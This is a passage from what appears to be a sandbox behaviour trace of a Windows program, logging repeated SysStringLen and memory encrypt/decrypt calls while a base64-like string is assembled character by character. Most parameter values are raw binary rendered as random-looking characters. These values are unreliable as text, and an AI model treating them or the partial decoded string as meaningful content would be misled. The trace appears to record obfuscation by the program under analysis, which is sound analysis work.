Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.361] SysStringLen (param_1="⧃訸㽨Ю棉ꞥ믰") returned 0x8 [0259.361] SysStringLen (param_1="⧃訸㽨Ю棉ꞥ믰") returned 0x8 [0259.361] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.361] SysStringLen (param_1="/AUwaHxo") returned 0x8 [0259.361] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.361] SysStringLen (param_1="敔矨≉㸚䘥⨹呄") returned 0x8 [0259.362] SysStringLen (param_1="敔矨≉㸚䘥⨹呄") returned 0x8 [0259.362] SysStringLen (param_1="敔矨≉㸚䘥⨹呄") returned 0x8 [0259.362] SysStringLen (param_1="敔矨≉㸚䘥⨹呄") returned 0x10 [0259.362] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.363] SysStringLen (param_1="/AUwaHxoO佽鎚颇뗵奊饿") returned 0x10 [0259.363] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.363] SysStringLen (param_1="敔矨≉㸚䘥⨹呄\瓙샨톖斁꟭鬠∖) returned 0x10 [0259.363] SysStringLen (param_1="敔矨≉㸚䘥⨹呄\瓙샨톖斁꟭鬠∖) returned 0x10 [0259.363] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.363] SysStringLen (param_1="/AUwaHxoOw鎚颇뗵奊饿") returned 0x10 [0259.363] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.364] SysStringLen (param_1="敔矨≉㸚䘥⨹呄紋긤ᦁ䕓ⷳ軻鴮") returned 0x10 [0259.364] SysStringLen (param_1="敔矨≉㸚䘥⨹呄紋긤ᦁ䕓ⷳ軻鴮") returned 0x10 [0259.364] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.364] SysStringLen (param_1="/AUwaHxoOwE颇뗵奊饿") returned 0x10 [0259.364] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.364] SysStringLen (param_1="敔矨≉㸚䘥⨹呄鯶威ᵄ垖꿆䷠拺䍠") returned 0x10 [0259.364] SysStringLen (param_1="敔矨≉㸚䘥⨹呄鯶威ᵄ垖꿆䷠拺䍠") returned 0x10 [0259.364] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.364] SysStringLen (param_1="/AUwaHxoOwEw뗵奊饿") returned 0x10 [0259.365] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.365] SysStringLen (param_1="敔矨≉㸚䘥⨹呄닻년煷\x97ힷ䯿") returned 0x10 [0259.365] SysStringLen (param_1="敔矨≉㸚䘥⨹呄닻년煷\x97ힷ䯿") returned 0x10 [0259.365] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.365] SysStringLen (param_1="/AUwaHxoOwEw4奊饿") returned 0x10 [0259.365] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.365] SysStringLen (param_1="敔矨≉㸚䘥⨹呄భ羖ꔇ莊춫텾") returned 0x10 [0259.365] SysStringLen (param_1="敔矨≉㸚䘥⨹呄భ羖ꔇ莊춫텾") returned 0x10 [0259.365] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.366] SysStringLen (param_1="/AUwaHxoOwEw4s奊饿") returned 0x10 [0259.366] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.366] SysStringLen (param_1="敔矨≉㸚䘥⨹呄⻭ﱒ컑摪̪쭧岌᩠") returned 0x10 [0259.366] SysStringLen (param_1="敔矨≉㸚䘥⨹呄⻭ﱒ컑摪̪쭧岌᩠") returned 0x10 [0259.366] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.366] SysStringLen (param_1="/AUwaHxoOwEw4sV饿") returned 0x10 [0259.366] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.367] SysStringLen (param_1="敔矨≉㸚䘥⨹呄ꑌ䷇蟫蓳솟稡㢻") returned 0x10 [0259.367] SysStringLen (param_1="敔矨≉㸚䘥⨹呄ꑌ䷇蟫蓳솟稡㢻") returned 0x10 [0259.367] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.367] SysStringLen (param_1="/AUwaHxoOwEw4sVw") returned 0x10 [0259.367] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0259.367] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ") returned 0x10 [0259.368] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ") returned 0x10 [0259.368] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ") returned 0x10 [0259.368] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ") returned 0x18 [0259.368] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.368] SysStringLen (param_1="/AUwaHxoOwEw4sVws킂⠙꒮饉ꓔ䪧") returned 0x18 [0259.368] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.369] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ̈嬾\뫟垁⣟ઓ丸⊆) returned 0x18 [0259.369] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ̈嬾\뫟垁⣟ઓ丸⊆) returned 0x18 [0259.369] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.369] SysStringLen (param_1="/AUwaHxoOwEw4sVwst⠙꒮饉ꓔ䪧") returned 0x18 [0259.369] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.369] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳꓱ疰髕抿䰕民㮚Ш") returned 0x18 [0259.369] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳꓱ疰髕抿䰕民㮚Ш") returned 0x18 [0259.369] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.370] SysStringLen (param_1="/AUwaHxoOwEw4sVwstD꒮饉ꓔ䪧") returned 0x18 [0259.370] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.370] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ㌏莫炉ㄻ鿖춠↥") returned 0x18 [0259.370] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ㌏莫炉ㄻ鿖춠↥") returned 0x18 [0259.370] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.370] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe饉ꓔ䪧") returned 0x18 [0259.370] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.370] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳᔨ稰‑拭鳩ἡ駡") returned 0x18 [0259.370] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳᔨ稰‑拭鳩ἡ駡") returned 0x18 [0259.370] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.466] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9ꓔ䪧") returned 0x18 [0259.467] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.467] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ鿥諯体㴨蟣標ʑ") returned 0x18 [0259.467] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ鿥諯体㴨蟣標ʑ") returned 0x18 [0259.467] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.467] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R䪧") returned 0x18 [0259.467] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.467] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ\쯛输ﮒ놬㓉≎) returned 0x18 [0259.467] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ\쯛输ﮒ놬㓉≎) returned 0x18 [0259.467] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.468] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R1") returned 0x18 [0259.468] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.468] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ㇡첓菉찢ゥ䪶풥") returned 0x18 [0259.468] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ㇡첓菉찢ゥ䪶풥") returned 0x18 [0259.468] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.468] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R17") returned 0x18 [0259.468] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0259.468] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔") returned 0x18 [0261.763] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔") returned 0x18 [0261.763] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔") returned 0x18 [0261.764] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔") returned 0x20 [0261.764] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.764] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179ꟑૐ渕쉬뜅㚝Ჯ") returned 0x20 [0261.764] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.764] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔凐곸絷㥟ꗼ퇰낼") returned 0x20 [0261.764] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔凐곸絷㥟ꗼ퇰낼") returned 0x20 [0261.764] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.765] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rૐ渕쉬뜅㚝Ჯ") returned 0x20 [0261.765] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.765] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔Ἂ举騅䣸퀘뤚") returned 0x20 [0261.765] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔Ἂ举騅䣸퀘뤚") returned 0x20 [0261.765] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.765] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rl渕쉬뜅㚝Ჯ") returned 0x20 [0261.765] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.765] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔墉櫄ꕫ鷨﯄鳖퓻⶘") returned 0x20 [0261.765] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔墉櫄ꕫ鷨﯄鳖퓻⶘") returned 0x20 [0261.765] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.765] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlu쉬뜅㚝Ჯ") returned 0x20 [0261.765] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.766] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔\Ꮯ폂덠痷붵莊⋑) returned 0x20 [0261.766] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔\Ꮯ폂덠痷붵莊⋑) returned 0x20 [0261.766] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.766] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlug뜅㚝Ჯ") returned 0x20 [0261.766] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.766] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔늱䉎⚟ಒ칃ꛠ왜") returned 0x20 [0261.766] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔늱䉎⚟ಒ칃ꛠ왜") returned 0x20 [0261.766] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.766] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugA㚝Ჯ") returned 0x20 [0261.766] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.766] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔墐갣沿쎎᥷눦↴휒") returned 0x20 [0261.766] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔墐갣沿쎎᥷눦↴휒") returned 0x20 [0261.766] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.767] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASᲯ") returned 0x20 [0261.767] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.767] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䘪뫣ṣ䇱鉴∕⺬ल") returned 0x20 [0261.767] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䘪뫣ṣ䇱鉴∕⺬ल") returned 0x20 [0261.767] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.767] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASP") returned 0x20 [0261.767] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.767] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲") returned 0x20 [0261.767] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲") returned 0x20 [0261.767] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲") returned 0x20 [0261.768] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲") returned 0x28 [0261.768] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.768] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPcꄙ㞀茑切쁫") returned 0x28 [0261.768] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.768] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ೞ綢∦㤔⺩餬\⋙) returned 0x28 [0261.768] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ೞ綢∦㤔⺩餬\⋙) returned 0x28 [0261.768] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.768] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc0ꄙ㞀茑切쁫") returned 0x28 [0261.768] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.769] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲訷ᓴ苂\௟洪얉✒⊖) returned 0x28 [0261.769] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲訷ᓴ苂\௟洪얉✒⊖) returned 0x28 [0261.769] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.769] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09㞀茑切쁫") returned 0x28 [0261.769] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.769] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲穲妦搿Ŀⵇ\㇜⾕≼) returned 0x28 [0261.769] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲穲妦搿Ŀⵇ\㇜⾕≼) returned 0x28 [0261.769] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.769] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09i茑切쁫") returned 0x28 [0261.769] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.769] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲㚒놭卖穋妃ꕔ᳆") returned 0x28 [0261.769] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲㚒놭卖穋妃ꕔ᳆") returned 0x28 [0261.769] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.770] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09iA切쁫") returned 0x28 [0261.770] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.770] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲㯖᜕弼訁⻅ᦉ") returned 0x28 [0261.770] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲㯖᜕弼訁⻅ᦉ") returned 0x28 [0261.770] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.770] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09iAb쁫") returned 0x28 [0261.770] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.770] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲Ⱔ഼䤇ᷛ琟ꇼ诒") returned 0x28 [0261.770] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲Ⱔ഼䤇ᷛ琟ꇼ诒") returned 0x28 [0261.770] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.770] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09iAbq") returned 0x28 [0261.770] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.771] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲맣⠶멷ᾢ敝篽菱") returned 0x28 [0261.771] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲맣⠶멷ᾢ敝篽菱") returned 0x28 [0261.771] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.771] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09iAbqj") returned 0x28 [0261.771] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.771] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚⊞) returned 0x28 [0261.771] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚⊞) returned 0x28 [0261.771] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚⊞) returned 0x28 [0261.772] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚⊞) returned 0x30 [0261.772] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0261.772] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09iAbqjG\㿛걐谁橏湙䂩≓) returned 0x30 [0261.772] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0261.772] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚悞궊娋륔뗗덅茍∓) returned 0x30 [0261.772] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚悞궊娋륔뗗덅茍∓) returned 0x30 [0261.772] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0261.772] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09iAbqjGc倿Ƭ侌奪ꥮ區") returned 0x30 [0261.772] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0261.772] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚ພ긎篝竆Ṵ쎙뫀诫⋃) returned 0x30 [0261.773] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚ພ긎篝竆Ṵ쎙뫀诫⋃) returned 0x30 [0261.773] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0261.773] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09iAbqjGccƬ侌奪ꥮ區") returned 0x30 [0261.773] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0261.773] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚⊞\吏瞑웨䞧뉆䯽穔") returned 0x30 [0261.773] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚⊞\吏瞑웨䞧뉆䯽穔") returned 0x30 [0261.820] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0261.820] SysStringLen (param_1="/AUwaHxoOwEw4sVwstDe9R179rlugASPc09iAbqjGcc=侌奪ꥮ區") returned 0x30 [0261.820] 